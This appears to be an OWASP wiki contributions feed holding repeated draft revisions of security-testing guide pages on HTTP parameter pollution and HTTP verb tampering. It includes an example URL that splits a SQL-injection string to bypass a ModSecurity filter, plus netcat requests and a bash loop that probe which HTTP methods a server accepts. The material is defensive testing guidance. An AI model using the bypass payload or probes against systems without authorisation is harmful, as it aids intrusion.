OWASP - User contributions [en]

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-22T15:19:50Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.
<br>
== Description of the Issue ==
<br>

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.

<br>

For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: "<code>select 1,2,3 from table</code>." The filter would block this example URL from being processed by the web server: <code>/index.aspx?page=select 1,2,3 from table</code>.

However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL <code>/index.aspx?page=select 1&page=2,3 from table</code> would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.

<br>
===Expected Behavior by Application Server===
Given the URL and querystring: <code>http://example.com/?color=red&color=blue</code>
{|
|-
! Web Application Server Backend !! Parsing Result !! Example
|-
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue
|-
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue
|-
| PHP / Apache || Last occurrence only || color=blue
|-
| PHP / Zeus || Last occurrence only || color=blue
|-
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red
|-
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red
|-
| JSP, Servlet / Jetty || First occurrence only || color=red
|-
| IBM Lotus Domino || Last occurrence only || color=blue
|-
| IBM HTTP Server || First occurrence only || color=red
|-
| mod_perl, libapreq2 / Apache || First occurrence only || color=red
|-
| Perl CGI / Apache || First occurrence only || color=red
|-
| mod_wsgi (Python) / Apache || First occurrence only || color=red
|-
| Python / Zope || All occurrences in List data type || color=['red','blue']
|}
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )
<br>
== Black Box testing and example ==
<br>
Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions.
<br>
To test for vulnerability, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user). Query string parameters are easy to tweak in the navigation bar itself. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server.
<br>
Having identified a particular input parameter to test, go ahead and submit input via the HTML form or action. One can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. Find the parameter being tested, and simply append the same parameter to the GET or POST data but with a different value assigned.
<br>
For example: if testing the <code>search_string</code> parameter in the query string, the request URL would include that parameter name and value.
<br><code>http://example.com/?search_string=kittens</code>
<br>
The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.
<br>
<code>http://example.com/?mode=guest&search_string=kittens&num_results=100</code>
<br>
Append the same parameter with a different value
<br>
<code>http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies</code>
<br>
and submit the new request.
<br>
<br>
Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show <code>kittens</code>, <code>puppies</code>, some combination of both (<code>kittens,puppies</code> or <code>kittens~puppies</code> or <code>['kittens','puppies']</code>), may give an empty result, or error page.
<br>
This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation methods are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated or generate an error, there is an increased likelihood of being able to use parameter pollution to bypass regular input validation.
<br>
Crafting a full exploit from a parameter pollution weakness is beyond the scope of this test. See the references for examples and details.
== References ==
'''Whitepapers'''<br>
HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola - https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel, Acutenix - http://www.acunetix.com/blog/whitepaper-http-parameter-pollution/

CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze, Cigital - http://capec.mitre.org/data/definitions/460.html

<br>
'''Tools'''<br>
...<br>

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-22T14:54:39Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.
<br>
== Description of the Issue ==
<br>

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.

<br>

For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: "<code>select 1,2,3 from table</code>." The filter would block this example URL from being processed by the web server: <code>/index.aspx?page=select 1,2,3 from table</code>.

However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL <code>/index.aspx?page=select 1&page=2,3 from table</code> would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.

<br>
===Expected Behavior by Application Server===
Given the URL and querystring: <code>http://example.com/?color=red&color=blue</code>
{|
|-
! Web Application Server Backend !! Parsing Result !! Example
|-
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue
|-
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue
|-
| PHP / Apache || Last occurrence only || color=blue
|-
| PHP / Zeus || Last occurrence only || color=blue
|-
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red
|-
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red
|-
| JSP, Servlet / Jetty || First occurrence only || color=red
|-
| IBM Lotus Domino || Last occurrence only || color=blue
|-
| IBM HTTP Server || First occurrence only || color=red
|-
| mod_perl, libapreq2 / Apache || First occurrence only || color=red
|-
| Perl CGI / Apache || First occurrence only || color=red
|-
| mod_wsgi (Python) / Apache || First occurrence only || color=red
|-
| Python / Zope || All occurrences in List data type || color=['red','blue']
|}
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )
<br>
== Black Box testing and example ==
<br>
Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions.
<br>
To test for vulnerability, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user). Query string parameters are easy to tweak in the navigation bar itself. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server.
<br>
Having identified a particular input parameter to test, go ahead and submit input via the HTML form or action. One can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. Find the parameter being tested, and simply append the same parameter to the GET or POST data but with a different value assigned.
<br>
For example: if testing the <code>search_string</code> parameter in the query string, the request URL would include that parameter name and value.
<br><code>http://example.com/?search_string=kittens</code>
<br>
The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.
<br>
<code>http://example.com/?mode=guest&search_string=kittens&num_results=100</code>
<br>
Append the same parameter with a different value
<br>
<code>http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies</code>
<br>
and submit the new request.
<br>
<br>
Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show <code>kittens</code>, <code>puppies</code>, some combination of both (<code>kittens,puppies</code> or <code>kittens~puppies</code> or <code> ['kittens','puppies']), may give an empty result, or error page.
<br>
This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation methods are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated or generate an error, there is an increased likelihood of being able to use parameter pollution to bypass regular input validation.
<br>
== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)

2013-08-21T17:17:56Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
..here: we describe in "natural language" what we want to test.
<br>
== Description of the Issue ==
<br>
...here: Short Description of the Issue: Topic and Explanation
<br>
== Black Box testing and example ==
'''Testing for Topic X vulnerabilities:''' <br>
===Finding Redirects===

===Testing Redirect Validation===
...<br>
'''Result Expected:'''<br>
...<br><br>
== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-21T17:09:51Z

Ben Walther:

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-21T17:08:49Z

Ben Walther:

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-21T17:08:00Z

Ben Walther:

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-21T16:53:12Z

Ben Walther:

Testing for HTTP Parameter pollution (OTG-INPVAL-004)

2013-08-21T16:36:06Z

Ben Walther:

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T16:13:43Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.

Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
<br>
== Description of the Issue ==
<br>
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).

<br>
== Black Box testing and example ==
<br>Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.<br>

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.
<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>
1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>
3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.

<br>
An example of a failed test (ie, the server supports OPTIONS despite no need for it):
<br>
[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===
If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.
<pre>
#!/bin/bash

for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;

do
printf "$webservmethod " ;
printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"

done
</pre>
Code copied verbatim from the Penetration Testing Lab blog [http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/]

== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T16:00:53Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.

Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
<br>
== Description of the Issue ==
<br>
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).

<br>
== Black Box testing and example ==
<br>Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.<br>

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.
<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>
1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>
3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.

<br>
An example of a failed test (ie, the server supports OPTIONS despite no need for it):
<br>
[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===

== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T15:55:52Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.

Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
<br>
== Description of the Issue ==
<br>
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

<br>
== Black Box testing and example ==
<br>Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.<br>

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.
<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>
1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>
3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.

<br>
An example of a failed test (ie, the server supports OPTIONS despite no need for it):
<br>
[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===

== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T15:55:29Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.

Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
<br>
== Description of the Issue ==
<br>
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

<br>
== Black Box testing and example ==
<br>Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.<br>

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.
<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>
1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>
3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.

An example of a failed test (ie, the server supports OPTIONS despite no need for it):

[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===

== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

File:OPTIONS verb tampering.png

2013-08-20T15:53:26Z

Ben Walther: An example of the example.com web server responding to an OPTIONS HTTP request.

An example of the example.com web server responding to an OPTIONS HTTP request.

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T15:52:46Z

Ben Walther: Manual testing complete

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
<br>
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.

Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
<br>
== Description of the Issue ==
<br>
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

<br>
== Black Box testing and example ==
<br>Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.<br>

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.
<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>
1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>
3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.

An example of a failed test (ie, the server supports OPTIONS despite no need for it):
[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===

== References ==
'''Whitepapers'''<br>
...<br>
'''Tools'''<br>
...<br>

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T15:11:45Z

Ben Walther:

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2013-08-20T14:46:56Z

Ben Walther:

Testing for Reflected Cross site scripting (OTG-INPVAL-001)

2013-08-20T14:25:26Z

Ben Walther:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

== Description of the Issue ==

